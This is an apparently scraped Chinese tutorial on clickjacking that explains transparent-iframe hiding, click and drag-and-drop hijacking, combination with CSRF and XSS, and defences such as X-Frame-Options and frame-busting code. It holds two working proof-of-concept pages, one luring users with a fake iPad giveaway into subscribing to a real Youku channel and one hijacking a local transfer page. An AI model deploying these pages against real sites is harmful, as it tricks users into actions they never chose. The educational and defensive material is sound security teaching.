“Clickjacking(点击劫持)是由互联网安全专家罗伯特·汉森和耶利米·格劳斯曼在2008年提出的。是一种视觉欺骗手段,在web端就是iframe嵌套一个透明不可见的页面,让用户在不知情的情况下,点击攻击者想要欺骗用户点击的位置。”
点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack ),是一种视觉上的欺骗手段。攻击者使用一个或多个透明的 iframe 覆盖在一个正常的网页上,然后诱使用户在该网页上进行操作,当用户在不知情的情况下点击透明的 iframe 页面时,用户的操作已经被劫持到攻击者事先设计好的恶意按钮或链接上。攻击者既可以通过点击劫持设计一个独立的恶意网站,执行钓鱼攻击等;也可以与 XSS 和 CSRF 攻击相结合,突破传统的防御措施,提升漏洞的危害程度。
点击劫持漏洞 (Clickjacking) 是由网络安全专家 Robert Hansen 和 Jeremiah Grossman 在 OWASP (Open Web Application Security Project) 会议上提出的,现场还对该漏洞的危害作了演示。第14届Black Hat大会上,安全专家 Paul Stone 讲解了Clickjacking 的拖拽(Drag-and-Drop)技术,这项技术使黑客的攻击手法更加灵活多变,同时能够突破许多传统的安全防御措施,获取更多的用户信息,增加了Clickjacking 漏洞的危害性。
攻击者在点击劫持漏洞利用实现过程中使用 iframe 作为目标网页载体。iframe 是 HTML 标准中的一个标签,可以创建包含另外一个页面的内联框架,在点击劫持漏洞利用中主要用来载入目标网页。
攻击者实施攻击的一般步骤是:
1、黑客创建一个网页利用iframe包含目标网站;
2、隐藏目标网站,使用户无法察觉到目标网站存在;
3、构造网页,诱骗用户点击特定按钮 (图1中的PLAY!按钮);
4、用户在不知情的情况下点击按钮,触发执行恶意网页的命令。
比较重要的点击劫持漏洞利用技术包括目标网页隐藏、点击操作劫持、拖拽技术。
1、目标网页隐藏技术
目标网页隐藏技术原理是攻击者在恶意网站上通过 iframe 载入目标网页,然并隐藏目标网页,欺骗用户点击隐藏的恶意链接。目前主要的网页隐藏技术有两种:CSS隐藏技术和双iframe隐藏技术。
CSS 隐藏技术的原理是利用 CSS 技术控制网页内容显示的效果。其中opacity参数表示元素的透明度,取值范围为0~1,默认值为1表示不透明, 取值为0时元素在网页中完全透明显示。当设置目标 iframe 的opacity 属性小于或等于0.1,用户就无法看到含恶意代码的目标网页。
双iframe隐藏技术使用内联框架和外联框架。内联框架的主要功能是载入目标网页,并将目标网页定位到特定按钮或者链接。外联框架的主要功能是筛选,只显示内联框架中特定的按钮。
2、点击操作劫持
在成功隐藏目标网页后,攻击者下一个目标是欺骗用户点击特定的按钮,最简单实用的方法是使用社会工程学。例如,将攻击按钮外观设计成类似QQ消息的提示按钮,诱使用户点击从而触发攻击行为。另外一种思路是使用脚本代码以及其他技术增加用户点击特定按钮的概率。主要方法如JavaScript实现鼠标跟随技术、按键劫持 (Stroke jacking) 技术等。
3、拖拽(Drag and Drop)技术
主流的浏览器都有drag-and-drop API 接口,供网站开发人员创建交互式网页。但是,这些 API 接口在设计时没有考虑很多的安全性问题,导致通过拖拽就可以实现跨域操作。利用拖拽技术,攻击者可以突破很多已有的安全防御措施,
利用拖拽技术,攻击者可以轻易将文本注入到目标网页。在实际实施过程中,攻击者欺骗用户选择输入框的内容,完成拖拽操作。另外一种方式是,通过浏览器的 API 接口将 iframe 中的内容拖拽到目标网页的 text area 中,攻击者就可以获得用户网页中存在的敏感信息。
通过按钮(button)&页面(iframe),实现点击劫持。
Demo:点击劫持实现优酷频道刷粉。
表面上点击赢取ipad mini 4,实际上在后台登录优酷的情况下,会订阅优酷频道,实现优酷频道刷粉。
button的位置,需要自行调整。
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POCtitle>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 280px;
left: 1150px;
z-index: 1;
width: 80px;
height:20px;
}
style>
head>
<body>
Hey - we're giving away iPad mini 4!!! Just click the WIN button and it's yours!!!
<button>>> WIN <<button>
<img src="https://images.apple.com/cn/ipad-mini-4/images/overview/hero_large.png">
<iframe src="http://i.youku.com/u/UMjA0NTg4Njcy" scrolling="no">iframe>
body>
html>
点击劫持技术如果结合其他漏洞进行攻击,将突破某些安全措施,实现更大范围的攻击。
CSRF (Cross-Site Request Forgery CSRF)是指跨站点请求伪造漏洞,目前广泛使用的CSRF漏洞防御技术是 token 识别技术。token 是网站给每一次 HTTP 连接分配的随机数,用来标识不同的用户身份。对于网站开发人员,最方便实用的方法是将 token 存储在页面隐藏的表单中,最终跟随信息共同提交到服务器端。服务器检查该参数,判断用户身份的真实性。因此成功实施 CSRF 攻击的关键因素是正确获取 token 值,攻击者需要将载入目标网页 iframe 中 token 自动添加到 src 属性后面。使用HTTP “GET”方法的表单会自动完成上述步骤,实现攻击WEB应用程序。Twitter 蠕虫攻击就是利用点击劫持漏洞来实现CSRF攻击。
Clickjacking 和反射型 XSS (跨站点脚本漏洞) 结合,转变为存储型 XSS 漏洞。反射型 XSS 漏洞最重要的特征是难于利用。通过 Clickjacking 漏洞,反射型 XSS 可以转化为存储型 XSS 漏洞,只要用户点击触发此漏洞,就可以在用户浏览器上执行任意的JavaScript 代码,因此具有极大的危害性。
点击劫持漏洞防御措施可以从两个方面考虑:服务器端防御和客户端防御。服务器端防御主要涉及到用户身份验证,客户端防御主要涉及到浏览器的安全。
服务器端防御点击劫持漏洞的思想是结合浏览器的安全机制进行防御,主要的防御方法介绍如下。
1、 X-FRAME-OPTIONS 机制
在微软发布新一代的浏览器Internet Explorer 8.0中首次提出全新的安全机制:X-FRAME-OPTIONS。该机制有两个选项:DENY 和 SAMEORIGIN。DENY表示任何网页都不能使用 iframe 载入该网页,SAMEORIGIN表示符合同源策略的网页可以使用 iframe载入该网页。如果浏览器使用了这个安全机制,在网站发现可疑行为时,会提示用户正在浏览 网页存在安全隐患,并建议用户在新窗口中打开。这样攻击者就无法通过 iframe 隐藏目标的网页。
2、 使用 FrameBusting 代码
点击劫持攻击需要首先将目标网站载入到恶意网站中,使用 iframe 载入网页是最有效的方法。Web安全研究人员针对 iframe 特性提出 Frame Busting 代码,使用 JavaScript 脚本阻止恶意网站载入网页。如果检测到网页被非法网页载入,就执行自动跳转功能。Frame Busting代码是一种有效防御网站被攻击者恶意载入的方法,网站开发人员使用Frame Busting代码阻止页面被非法载入。需要指出的情况是,如果用户浏览器禁用JavaScript脚本,那么FrameBusting代码也无法正常运行。所以,该类代码只能提供部分保障功能。
3、 使用认证码认证用户
点击劫持漏洞通过伪造网站界面进行攻击,网站开发人员可以通过认证码识别用户,确定是用户发出的点击命令才执行相应操作。识别用户的方法中最有效的方法是认证码认证。例如,在网站上广泛存在的发帖认证码,要求用户输入图形中的字符,输入某些图形的特征等。
由于点击劫持攻击的代码在客户端执行,因此客户端有很多机制可以防御此漏洞。
1、 升级浏览器
最新版本的浏览器提供很多防御点击劫持漏洞的安全机制,对于普通的互联网用户,经常更新修复浏览器的安全漏洞,能够最有效的防止恶意攻击。
2、 NoScript 扩展
对于Firefox的用户,使用 NoScript 扩展能够在一定程度上检测和阻止点击劫持攻击。利用 NoScript 中 ClearClick 组件能够检测和警告潜在的点击劫持攻击,自动检测页面中可能不安全的页面。
不透明性 opacity: 0的页面
代码如下
<html>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<head>
<title>点击劫持 POCtitle>
<style>
iframe {
width: 1440px;
height: 900px;
position: absolute;
margin-top: 120px;
top: -0px;
left: -0px;
z-index: 2;
-moz-opacity: 0;
opacity: 0;
filter: alpha(opacity=0);
}
button {
position: absolute;
top: 380px;
left: 570px;
z-index: 1;
width: 40px;
height:20px;
}
ul.imglist{ margin:0 auto; width:536px; overflow:hidden;z-index: 1;}
ul.imglist li{ float:left; padding:4px 8px; width:160px}
ul.imglist li img{ display:block; width:160px; height:90px}
ul.imglist li span{ display:block; width:100%; height:30px; line-height:30px; background:#F6F6F6}
style>
head>
<body>
<ul class="imglist">
<li>
<a href="#" target="_blank">
<img src="1.png" />
<span>1span>
a>
li>
<li>
<a href="#" target="_blank">
<img src="2.png" />
<span>2span>
a>
li>
<li>
<a href="#" target="_blank">
<img src="3.png" />
<span>3span>
a>
li>
<li>
<a href="#" target="_blank">
<img src="4.png" />
<span>4span>
a>
li>
<li>
<a href="#" target="_blank">
<img src="3.png" />
<span>5span>
a>
li>
<li>
<a href="#" target="_blank">
<img src="2.png" />
<span>6span>
a>
li>
ul>
<div style="margin-left: 400px;margin-top: -8px;margin-left: 480px;z-index: 1;">
<p>奖品编号:
<select name="" style="border-style: solid;width: 40px" >
<option selected = "selected" value="1">1option>
<option value="2">2option>
<option value="3">3option>
<option value="4">4option>
<option value="5">5option>
<option value="6">6option>
select>
p>
<p style="margin-left: -46px;margin-top: -8px;">验证码 wsq:
<select name="" style="border-style: solid; width: 130px" >
<option selected = "selected" value="1">wsqoption>
<option value="2">wccoption>
<option value="3">wsq2option>
<option value="4">wsq3option>
select>
p>
<button>WINbutton>
div>
<br>
<p style="position: absolute; margin: 10px 450px">输入奖品编号,并输入验证码,点击“win”将有机会获取大奖p>
<iframe src="http://localhost/transfer.php" scrolling="no">iframe>
body>
html>
在transfer.php页面头加上,则无法加载iframe。
header('X-Frame-Options:DENY'); #所有的网页都不允许加载iframe
header('X-Frame-Options:SAMEORIGIN');#同源网页可以加载iframe
在transfer.php页面加上,效果是如果外部网页加载iframe,则重定位到transfer.php页面。
<style type="text/css">
body{display: none;}
style>
<script type="text/javascript">
if (self == top) {
var theBody = document.getElementsByTagName('body')[0];
theBody.style.display='block';
}else{
top.location = self.location;
}
script>
可以通过修改攻击网页的 opacity 来看check是否加载iframe。
以上。